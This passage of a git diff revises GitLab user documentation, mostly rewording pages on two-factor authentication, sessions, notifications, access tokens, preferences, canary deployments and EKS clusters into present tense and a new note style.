[about:config](https://support.mozilla.org/en-US/kb/about-config-editor-firefox). Search for `security.webauth.u2f` and double click on it to toggle to `true`. @@ -170,9 +251,9 @@ To set up 2FA with a U2F device: 1. Click **Enable Two-Factor Authentication**. 1. Connect your U2F device. 1. Click on **Set up New U2F Device**. -1. A light will start blinking on your device. Activate it by pressing its button. +1. A light begins blinking on your device. Activate it by pressing its button. -You will see a message indicating that your device was successfully set up. +A message displays, indicating that your device was successfully set up. Click on **Register U2F Device** to complete the process. ### WebAuthn device @@ -208,23 +289,26 @@ To set up 2FA with a WebAuthn compatible device: 1. Select **Set up New WebAuthn Device**. 1. Depending on your device, you might need to press a button or touch a sensor. -You will see a message indicating that your device was successfully set up. +A message displays, indicating that your device was successfully set up. Recovery codes are not generated for WebAuthn devices. ## Recovery codes -NOTE: **Note:** +NOTE: Recovery codes are not generated for U2F / WebAuthn devices. -CAUTION: **Caution:** +WARNING: Each code can be used only once to log in to your account. -Immediately after successfully enabling two-factor authentication, you'll be +Immediately after successfully enabling two-factor authentication, you're prompted to download a set of generated recovery codes. Should you ever lose access to your one-time password authenticator, you can use one of these recovery codes to log in to your account. We suggest copying and printing them, or downloading them using the **Download codes** button for storage in a safe place. If you choose to -download them, the file will be called `gitlab-recovery-codes.txt`. +download them, the file is called `gitlab-recovery-codes.txt`. + +The UI now includes **Copy codes** and **Print codes** buttons, for your convenience. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267730) in GitLab 13.7. If you lose the recovery codes or just want to generate new ones, you can do so from the [two-factor authentication account settings page](#regenerate-2fa-recovery-codes) or @@ -233,8 +317,8 @@ from the [two-factor authentication account settings page](#regenerate-2fa-recov ## Logging in with 2FA Enabled Logging in with 2FA enabled is only slightly different than a normal login. -Enter your username and password credentials as you normally would, and you'll -be presented with a second prompt, depending on which type of 2FA you've enabled. +Enter your username and password credentials as you normally would, and you're +presented with a second prompt, depending on which type of 2FA you've enabled. ### Log in via a one-time password @@ -246,19 +330,19 @@ recovery code to log in. To log in via a U2F device: 1. Click **Login via U2F Device**. -1. A light will start blinking on your device. Activate it by touching/pressing +1. A light begins blinking on your device. Activate it by touching/pressing its button. -You will see a message indicating that your device responded to the authentication -request and you will be automatically logged in. +A message displays, indicating that your device responded to the authentication +request, and you're automatically logged in. ### Log in via WebAuthn device In supported browsers you should be automatically prompted to activate your WebAuthn device (e.g. by touching/pressing its button) after entering your credentials. -You will see a message indicating that your device responded to the authentication -request and you will be automatically logged in. +A message displays, indicating that your device responded to the authentication +request and you're automatically logged in. ## Disabling 2FA @@ -269,14 +353,14 @@ If you ever need to disable 2FA: 1. Go to **Account**. 1. Click **Disable**, under **Two-Factor Authentication**. -This will clear all your two-factor authentication registrations, including mobile +This clears all your two-factor authentication registrations, including mobile applications and U2F / WebAuthn devices. ## Personal access tokens When 2FA is enabled, you can no longer use your normal account password to authenticate with Git over HTTPS on the command line or when using -[GitLab's API](../../../api/README.md). You must use a +the [GitLab API](../../../api/README.md). You must use a [personal access token](../personal_access_tokens.md) instead. ## Recovery options @@ -312,7 +396,7 @@ a new set of recovery codes with SSH: ssh git@gitlab.example.com 2fa_recovery_codes ``` -1. You will then be prompted to confirm that you want to generate new codes. +1. You are prompted to confirm that you want to generate new codes. Continuing this process invalidates previously saved codes: ```shell @@ -357,14 +441,14 @@ To regenerate 2FA recovery codes, you need access to a desktop browser: 1. If you've already configured 2FA, click **Manage two-factor authentication**. 1. In the **Register Two-Factor Authenticator** pane, click **Regenerate recovery codes**. -NOTE: **Note:** -If you regenerate 2FA recovery codes, save them. You won't be able to use any previously created 2FA codes. +NOTE: +If you regenerate 2FA recovery codes, save them. You can't use any previously created 2FA codes. ### Ask a GitLab administrator to disable two-factor authentication on your account If you cannot use a saved recovery code or generate new recovery codes, ask a GitLab global administrator to disable two-factor authentication for your -account. This will temporarily leave your account in a less secure state. +account. This temporarily leaves your account in a less secure state. Sign in and re-enable two-factor authentication as soon as possible. ## Note to GitLab administrators diff --git a/doc/user/profile/active_sessions.md b/doc/user/profile/active_sessions.md index 4630215eca6..381015f17c3 100644 --- a/doc/user/profile/active_sessions.md +++ b/doc/user/profile/active_sessions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -32,9 +32,9 @@ exceeds 100, the oldest ones are deleted. 1. Use the previous steps to navigate to **Active Sessions**. 1. Click on **Revoke** besides a session. The current session cannot be revoked, as this would sign you out of GitLab. -NOTE: **Note:** +NOTE: When any session is revoked all **Remember me** tokens for all -devices will be revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out) +devices are revoked. See ['Why do I keep getting signed out?'](index.md#why-do-i-keep-getting-signed-out) for more information about the **Remember me** feature. <!-- ## Troubleshooting diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index 37623c94eda..d60fb528499 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -2,7 +2,7 @@ type: index, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # User account @@ -74,7 +74,7 @@ From there, you can: - Manage your [preferences](preferences.md#syntax-highlighting-theme) to customize your own GitLab experience - [View your active sessions](active_sessions.md) and revoke any of them if necessary -- Access your audit log, a security log of important events involving your account +- Access your audit events, a security log of important events involving your account ## Changing your password @@ -101,12 +101,12 @@ To change your `username`: 1. Enter a new username under **Change username**. 1. Click **Update username**. -CAUTION: **Caution:** +WARNING: It is currently not possible to change your username if it contains a project with [Container Registry](../packages/container_registry/index.md) tags, because the project cannot be moved. -TIP: **Tip:** +NOTE: If you want to retain ownership over the original namespace and protect the URL redirects, then instead of changing a group's path or renaming a username, you can create a new group and transfer projects to it. @@ -135,7 +135,7 @@ To enable private profile: 1. Check the **Private profile** option in the **Main settings** section. 1. Click **Update profile settings**. -NOTE: **Note:** +NOTE: All your profile information can be seen by yourself, and GitLab admins, even if the **Private profile** option is enabled. @@ -302,10 +302,10 @@ to get you a new `_gitlab_session` and keep you signed in through browser restar After your `remember_user_token` expires and your `_gitlab_session` is cleared/expired, you are asked to sign in again to verify your identity for security reasons. -NOTE: **Note:** +NOTE: When any session is signed out, or when a session is revoked via [Active Sessions](active_sessions.md), all **Remember me** tokens are revoked. -While other sessions will remain active, the **Remember me** feature will not restore +While other sessions remain active, the **Remember me** feature doesn't restore a session if the browser is closed or the existing session expires. ### Increased sign-in time diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index f3d27147557..8974505cf02 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -2,7 +2,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/notifications.html' stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Notification Emails @@ -13,15 +13,15 @@ Notifications are sent via email. ## Receiving notifications -You will receive notifications for one of the following reasons: +You receive notifications for one of the following reasons: - You participate in an issue, merge request, epic or design. In this context, _participate_ means comment, or edit. - You enable notifications in an issue, merge request, or epic. To enable notifications, click the **Notifications** toggle in the sidebar to _on_. -While notifications are enabled, you will receive notification of actions occurring in that issue, merge request, or epic. +While notifications are enabled, you receive notification of actions occurring in that issue, merge request, or epic. -NOTE: **Note:** -Notifications can be blocked by an admin, preventing them from being sent. +NOTE: +Notifications can be blocked by an administrator, preventing them from being sent. ## Tuning your notifications @@ -50,7 +50,7 @@ These notification settings apply only to you. They do not affect the notificati Your **Global notification settings** are the default settings unless you select different values for a project or a group. - Notification email - - This is the email address your notifications will be sent to. + - This is the email address your notifications are sent to. - Global notification level - This is the default [notification level](#notification-levels) which applies to all your notifications. - Receive notifications about your own activity. @@ -138,7 +138,7 @@ For each project and group you can select one of the following levels: ## Notification events -Users will be notified of the following events: +Users are notified of the following events: | Event | Sent to | Settings level | |------------------------------|---------------------|------------------------------| @@ -158,7 +158,7 @@ Users will be notified of the following events: ## Issue / Epics / Merge request events -In most of the below cases, the notification will be sent to: +In most of the below cases, the notification is sent to: - Participants: - the author and assignee of the issue/merge request @@ -169,7 +169,7 @@ In most of the below cases, the notification will be sent to: - Subscribers: anyone who manually subscribed to the issue, merge request, or epic **(ULTIMATE)** - Custom: Users with notification level "custom" who turned on notifications for any of the events present in the table below -NOTE: **Note:** +NOTE: To minimize the number of notifications that do not require any action, from [GitLab 12.9 onwards](https://gitlab.com/gitlab-org/gitlab/-/issues/616), eligible approvers are no longer notified for all the activities in their projects. To receive them they have to change their user notification settings to **Watch** instead. | Event | Sent to | @@ -193,23 +193,23 @@ To minimize the number of notifications that do not require any action, from [Gi | New comment | The above, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher | | Failed pipeline | The author of the pipeline | | Fixed pipeline | The author of the pipeline. Enabled by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1. | -| Successful pipeline | The author of the pipeline, if they have the custom notification setting for successful pipelines set. If the pipeline failed previously, a `Fixed pipeline` message will be sent for the first successful pipeline after the failure, then a `Successful pipeline` message for any further successful pipelines. | +| Successful pipeline | The author of the pipeline, if they have the custom notification setting for successful pipelines set. If the pipeline failed previously, a `Fixed pipeline` message is sent for the first successful pipeline after the failure, then a `Successful pipeline` message for any further successful pipelines. | | New epic **(ULTIMATE)** | | | Close epic **(ULTIMATE)** | | | Reopen epic **(ULTIMATE)** | | In addition, if the title or description of an Issue or Merge Request is -changed, notifications will be sent to any **new** mentions by `@username` as +changed, notifications are sent to any **new** mentions by `@username` as if they had been mentioned in the original text. -You won't receive notifications for Issues, Merge Requests or Milestones created -by yourself (except when an issue is due). You will only receive automatic +You don't receive notifications for Issues, Merge Requests or Milestones created +by yourself (except when an issue is due). You only receive automatic notifications when somebody else comments or adds changes to the ones that you've created or mentions you. -If an open merge request becomes unmergeable due to conflict, its author will be notified about the cause. +If an open merge request becomes unmergeable due to conflict, its author is notified about the cause. If a user has also set the merge request to automatically merge once pipeline succeeds, -then that user will also be notified. +then that user is also notified. ## Design email notifications @@ -252,9 +252,9 @@ The `X-GitLab-NotificationReason` header contains the reason for the notificatio - `mentioned` The reason for the notification is also included in the footer of the notification email. For example an email with the -reason `assigned` will have this sentence in the footer: +reason `assigned` has this sentence in the footer: - `You are receiving this email because you have been assigned an item on <configured GitLab hostname>.` -NOTE: **Note:** +NOTE: Notification of other events is being considered for inclusion in the `X-GitLab-NotificationReason` header. For details, see this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/20689). diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md index 911be117716..cfc70c5a6f0 100644 --- a/doc/user/profile/personal_access_tokens.md +++ b/doc/user/profile/personal_access_tokens.md @@ -2,7 +2,7 @@ type: concepts, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Personal access tokens @@ -14,7 +14,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w If you're unable to use [OAuth2](../../api/oauth2.md), you can use a personal access token to authenticate with the [GitLab API](../../api/README.md#personalproject-access-tokens). -You can also use personal access tokens with Git to authenticate over HTTP or SSH. Personal access tokens are required when [Two-Factor Authentication (2FA)](account/two_factor_authentication.md) is enabled. In both cases, you can authenticate with a token in place of your password. +You can also use personal access tokens with Git to authenticate over HTTP. Personal access tokens are required when [Two-Factor Authentication (2FA)](account/two_factor_authentication.md) is enabled. In both cases, you can authenticate with a token in place of your password. Personal access tokens expire on the date you define, at midnight UTC. @@ -91,7 +91,7 @@ This can be shortened into a single-line shell command using the sudo gitlab-rails runner "token = User.find_by_username('automation-bot').personal_access_tokens.create(scopes: [:read_user, :read_repository], name: 'Automation token'); token.set_token('token-string-here123'); token.save!" ``` -NOTE: **Note:** +NOTE: The token string must be 20 characters in length to be recognized as a valid personal access token. diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md index 168bcb5a42e..af7bfb80cac 100644 --- a/doc/user/profile/preferences.md +++ b/doc/user/profile/preferences.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -45,7 +45,7 @@ The default theme is Indigo. You can choose between 10 themes: GitLab has started work on dark mode! The dark mode Alpha release is available in the spirit of iteration and the lower expectations of -[Alpha versions](https://about.gitlab.com/handbook/product/#alpha). +[Alpha versions](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha). Progress on dark mode is tracked in the [Dark theme epic](https://gitlab.com/groups/gitlab-org/-/epics/2902). See the epic for: @@ -59,12 +59,12 @@ Dark mode is available as a navigation theme, for MVC and compatibility reasons. the future, we plan to make it configurable in its own section along with support for [different navigation themes](https://gitlab.com/gitlab-org/gitlab/-/issues/219512). -NOTE: **Note:** +NOTE: Dark theme currently only works with the 'Dark' syntax highlighting. ## Syntax highlighting theme -NOTE: **Note:** +NOTE: GitLab uses the [rouge Ruby library](http://rouge.jneen.net/ "Rouge website") for syntax highlighting outside of any Editor context. The WebIDE (like Snippets) uses [Monaco Editor](https://microsoft.github.io/monaco-editor/) and it's provided [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for @@ -92,7 +92,7 @@ which apply to the entire Web IDE screen. ## Behavior -The following settings allow you to customize the behavior of GitLab's layout +The following settings allow you to customize the behavior of the GitLab layout and default views of your dashboard and the projects' landing pages. ### Layout width @@ -100,15 +100,15 @@ and default views of your dashboard and the projects' landing pages. GitLab can be set up to use different widths depending on your liking. Choose between the fixed (max. `1280px`) and the fluid (`100%`) application layout. -NOTE: **Note:** +NOTE: While `1280px` is the standard max width when using fixed layout, some pages still use 100% width, depending on the content. ### Default dashboard For users who have access to a large number of projects but only keep up with a select few, the amount of activity on the default Dashboard page can be -overwhelming. Changing this setting allows you to redefine what your default -dashboard will be. +overwhelming. Changing this setting allows you to redefine your default +dashboard. You have 8 options here that you can use for your default dashboard view: @@ -142,7 +142,7 @@ see on a project’s home page. You can set the displayed width of tab characters across various parts of GitLab, for example, blobs, diffs, and snippets. -NOTE: **Note:** +NOTE: Some parts of GitLab do not respect this setting, including the WebIDE, file editor and Markdown editor. @@ -164,7 +164,7 @@ You can choose one of the following options as the first day of the week: - Sunday - Monday -If you select **System Default**, the system-wide default setting will be used. +If you select **System Default**, the system-wide default setting is used. ## Integrations @@ -172,7 +172,7 @@ Configure your preferences with third-party services which provide enhancements ### Sourcegraph -NOTE: **Note:** +NOTE: This setting is only visible if Sourcegraph has been enabled by a GitLab administrator. Manage the availability of integrated code intelligence features powered by diff --git a/doc/user/profile/unknown_sign_in_notification.md b/doc/user/profile/unknown_sign_in_notification.md index a97af3d6965..1eec351e4da 100644 --- a/doc/user/profile/unknown_sign_in_notification.md +++ b/doc/user/profile/unknown_sign_in_notification.md @@ -2,14 +2,14 @@ type: concepts, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Email notification for unknown sign-ins > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27211) in GitLab 13.0. -NOTE: **Note:** +NOTE: This feature is enabled by default for self-managed instances. Administrators may disable this feature through the [Sign-in restrictions](../admin_area/settings/sign_in_restrictions.md#email-notification-for-unknown-sign-ins) section of the UI. The feature is always enabled on GitLab.com. diff --git a/doc/user/project/autocomplete_characters.md b/doc/user/project/autocomplete_characters.md index ff9cb1c712e..1aa040c9cb8 100644 --- a/doc/user/project/autocomplete_characters.md +++ b/doc/user/project/autocomplete_characters.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference description: "Autocomplete chars in Markdown fields." --- diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md index fd0287fb5fb..f7bb88c33aa 100644 --- a/doc/user/project/badges.md +++ b/doc/user/project/badges.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -84,7 +84,7 @@ are available: - `%{commit_sha}`: ID of the most recent commit to the default branch of a project's repository -NOTE: **Note:** +NOTE: Placeholders allow badges to expose otherwise-private information, such as the default branch or commit SHA when the project is configured to have a private repository. This is by design, as badges are intended to be used publicly. Avoid diff --git a/doc/user/project/builds/artifacts.md b/doc/user/project/builds/artifacts.md index 1b0f3f61394..e7572b4ff1f 100644 --- a/doc/user/project/builds/artifacts.md +++ b/doc/user/project/builds/artifacts.md @@ -3,3 +3,6 @@ redirect_to: '../pipelines/job_artifacts.md' --- This document was moved to [pipelines/job_artifacts](../pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md index 98584a939ea..a29c0754d31 100644 --- a/doc/user/project/bulk_editing.md +++ b/doc/user/project/bulk_editing.md @@ -1,12 +1,12 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Bulk editing issues and merge requests at the project level -NOTE: **Note:** +NOTE: Bulk editing issues, epics, and merge requests is also available at the **group level**. For more details, see [Bulk editing issues, epics, and merge requests at the group level](../group/bulk_editing/index.md). @@ -14,14 +14,14 @@ For more details, see If you want to update attributes across multiple issues or merge requests, you can do it by bulk editing them, that is, editing them together. -NOTE: **Note:** +NOTE: Only the items visible on the current page are selected for bulk editing (up to 20).  ## Bulk edit issues at the project level -NOTE: **Note:** +NOTE: You need a permission level of [Reporter or higher](../permissions.md) to manage issues. When bulk editing issues in a project, you can edit the following attributes: @@ -46,7 +46,7 @@ To update multiple project issues at the same time: ## Bulk edit merge requests at the project level -NOTE: **Note:** +NOTE: You need a permission level of [Developer or higher](../permissions.md) to manage merge requests. When bulk editing merge requests in a project, you can edit the following attributes: diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md index e9bb6d0e3ff..52c825932fa 100644 --- a/doc/user/project/canary_deployments.md +++ b/doc/user/project/canary_deployments.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Canary Deployments **(PREMIUM)** @@ -32,13 +32,13 @@ deployments right inside the [Deploy Board](deploy_boards.md), without the need Canary deployments can be used when you want to ship features to only a portion of your pods fleet and watch their behavior as a percentage of your user base visits the temporarily deployed feature. If all works well, you can deploy the -feature to production knowing that it won't cause any problems. +feature to production knowing that it shouldn't cause any problems. Canary deployments are also especially useful for backend refactors, performance improvements, or other changes where the user interface doesn't change, but you want to make sure the performance stays the same, or improves. Developers need to be careful when using canaries with user-facing changes, because by default, -requests from the same user will be randomly distributed between canary and +requests from the same user are randomly distributed between canary and non-canary pods, which could result in confusion or even errors. If needed, you may want to consider [setting `service.spec.sessionAffinity` to `ClientIP` in your Kubernetes service definitions](https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies), but that is beyond the scope of @@ -60,7 +60,7 @@ This allows GitLab to discover whether a deployment is stable or canary (tempora Once all of the above are set up and the pipeline has run at least once, navigate to the environments page under **Pipelines > Environments**. -As the pipeline executes Deploy Boards will clearly mark canary pods, enabling +As the pipeline executes, Deploy Boards clearly mark canary pods, enabling quick and easy insight into the status of each environment and deployment. Canary deployments are marked with a yellow dot in the Deploy Board so that you @@ -68,9 +68,10 @@ can easily notice them.  -### Advanced traffic control with Canary Ingress **(PREMIUM)** +### Advanced traffic control with Canary Ingress -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215501) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215501) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) to Core in GitLab 13.7. Canary deployments can be more strategic with [Canary Ingress](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#canary), which is an advanced traffic routing service that controls incoming HTTP @@ -102,21 +103,22 @@ Here's an example setup flow from scratch: #### How to check the current traffic weight on a Canary Ingress -1. Visit [Deploy Board](../../user/project/deploy_boards.md). -1. Open your browser's inspection tool and examine a response from the `environments.json` endpoint. - You can find the current weight under `rollout_status`. +1. Visit the [Deploy Board](../../user/project/deploy_boards.md). +1. View the current weights on the right. -  - - Note that we have [a plan](https://gitlab.com/gitlab-org/gitlab/-/issues/218139) - to visualize this information in a [Deploy Board](../../user/project/deploy_boards.md) - without needing a browser's inspection tool. +  #### How to change the traffic weight on a Canary Ingress -You can change the traffic weight by using [GraphiQL](../../api/graphql/getting_started.md#graphiql) +You can change the traffic weight within your environment's Deploy Board by using [GraphiQL](../../api/graphql/getting_started.md#graphiql), or by sending requests to the [GraphQL API](../../api/graphql/getting_started.md#command-line). +To use your [Deploy Board](../../user/project/deploy_boards.md): + +1. Navigate to **Operations > Environments** for your project. +1. Set the new weight with the dropdown on the right side. +1. Confirm your selection. + Here's an example using [GraphiQL](../../api/graphql/getting_started.md#graphiql): 1. Visit [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer). @@ -135,6 +137,3 @@ Here's an example using [GraphiQL](../../api/graphql/getting_started.md#graphiql 1. If the request succeeds, the `errors` response contains an empty array. GitLab sends a `PATCH` request to your Kubernetes cluster for updating the weight parameter on a Canary Ingress. - -Note that there's [a plan](https://gitlab.com/gitlab-org/gitlab/-/issues/218139) -to control the weight from a [Deploy Board](../../user/project/deploy_boards.md). diff --git a/doc/user/project/ci_cd_for_external_repo.md b/doc/user/project/ci_cd_for_external_repo.md index a92d3a2c308..57747be3859 100644 --- a/doc/user/project/ci_cd_for_external_repo.md +++ b/doc/user/project/ci_cd_for_external_repo.md @@ -3,3 +3,6 @@ redirect_to: '../../ci/ci_cd_for_external_repos/index.md' --- This document was moved to [another location](../../ci/ci_cd_for_external_repos/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md index c3f2b96ce9f..07aa02db2b5 100644 --- a/doc/user/project/clusters/add_eks_clusters.md +++ b/doc/user/project/clusters/add_eks_clusters.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Adding EKS clusters @@ -10,7 +10,7 @@ GitLab supports adding new and existing EKS clusters. ## EKS requirements -Before creating your first cluster on Amazon EKS with GitLab's integration, make sure the following +Before creating your first cluster on Amazon EKS with the GitLab integration, make sure the following requirements are met: - An [Amazon Web Services](https://aws.amazon.com/) account is set up and you are able to log in. @@ -23,9 +23,9 @@ requirements are met: ### Additional requirements for self-managed instances **(CORE ONLY)** If you are using a self-managed GitLab instance, GitLab must first be configured with a set of -Amazon credentials. These credentials will be used to assume an Amazon IAM role provided by the user +Amazon credentials. These credentials are used to assume an Amazon IAM role provided by the user creating the cluster. Create an IAM user and ensure it has permissions to assume the role(s) that -your users will use to create EKS clusters. +your users need to create EKS clusters. For example, the following policy document allows assuming a role whose name starts with `gitlab-eks-` in account `123456789012`: @@ -60,7 +60,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - Group's **Kubernetes** page, for a group-level cluster. - **Admin Area > Kubernetes**, for an instance-level cluster. 1. Click **Add Kubernetes cluster**. -1. Under the **Create new cluster** tab, click **Amazon EKS**. You will be provided with an +1. Under the **Create new cluster** tab, click **Amazon EKS** to display an `Account ID` and `External ID` needed for later steps. 1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an IAM policy: 1. From the left panel, select **Policies**. @@ -137,9 +137,9 @@ To create and add a new Kubernetes cluster to your project, group, or instance: 1. Click **Next: Tags**, and optionally enter any tags you wish to associate with this role. 1. Click **Next: Review**. 1. Enter a role name and optional description into the fields provided. - 1. Click **Create role**, the new role name will appear at the top. Click on its name and copy the `Role ARN` from the newly created role. + 1. Click **Create role**, the new role name displays at the top. Click on its name and copy the `Role ARN` from the newly created role. 1. In GitLab, enter the copied role ARN into the `Role ARN` field. -1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab will authenticate you have access to this region when authenticating your role. +1. In the **Cluster Region** field, enter the [region](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html) you plan to use for your new cluster. GitLab confirms you have access to this region when authenticating your role. 1. Click **Authenticate with AWS**. 1. Choose your cluster's settings: - **Kubernetes cluster name** - The name you wish to give the cluster. @@ -148,7 +148,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - **Service role** - Select the **EKS IAM role** you created earlier to allow Amazon EKS and the Kubernetes control plane to manage AWS resources on your behalf. - NOTE: **Note:** + NOTE: This IAM role is _not_ the IAM role you created in the previous step. It should be the one you created much earlier by following the [Amazon EKS cluster IAM role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html) @@ -158,7 +158,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - **VPC** - Select a [VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) to use for your EKS Cluster resources. - **Subnets** - Choose the [subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) - in your VPC where your worker nodes will run. You must select at least two. + in your VPC where your worker nodes run. You must select at least two. - **Security group** - Choose the [security group](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html) to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets. - **Instance type** - The [instance type](https://aws.amazon.com/ec2/instance-types/) of your worker nodes. @@ -167,11 +167,11 @@ To create and add a new Kubernetes cluster to your project, group, or instance: See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information. 1. Finally, click the **Create Kubernetes cluster** button. -After about 10 minutes, your cluster will be ready to go. You can now proceed +After about 10 minutes, your cluster is ready to go. You can now proceed to install some [pre-defined applications](index.md#installing-applications). -NOTE: **Note:** -You will need to add your AWS external ID to the +NOTE: +You must add your AWS external ID to the [IAM Role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount) to manage your cluster using `kubectl`. @@ -205,7 +205,7 @@ If the `Cluster` resource failed with the error `The provided role doesn't have the Amazon EKS Managed Policies associated with it.`, the role specified in **Role name** is not configured correctly. -NOTE: **Note:** +NOTE: This role should be the role you created by following the [EKS cluster IAM role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html) guide. In addition to the policies that guide suggests, you must also include the @@ -219,9 +219,9 @@ For information on adding an existing EKS cluster, see ### Create a default Storage Class Amazon EKS doesn't have a default Storage Class out of the box, which means -requests for persistent volumes will not be automatically fulfilled. As part +requests for persistent volumes are not automatically fulfilled. As part of Auto DevOps, the deployed PostgreSQL instance requests persistent storage, -and without a default storage class it will fail to start. +and without a default storage class it cannot start. If a default Storage Class doesn't already exist and is desired, follow Amazon's [guide on storage classes](https://docs.aws.amazon.com/eks/latest/userguide/storage-classes.html) @@ -239,18 +239,17 @@ to build, test, and deploy the app. [Enable Auto DevOps](../../../topics/autodevops/index.md#at-the-project-level) if not already enabled. If a wildcard DNS entry was created resolving to the Load Balancer, enter it in the `domain` field under the Auto DevOps settings. -Otherwise, the deployed app will not be externally available outside of the cluster. +Otherwise, the deployed app isn't externally available outside of the cluster.  -A new pipeline will automatically be created, which will begin to build, test, -and deploy the app. +GitLab creates a new pipeline, which begins to build, test, and deploy the app. -After the pipeline has finished, your app will be running in EKS and available 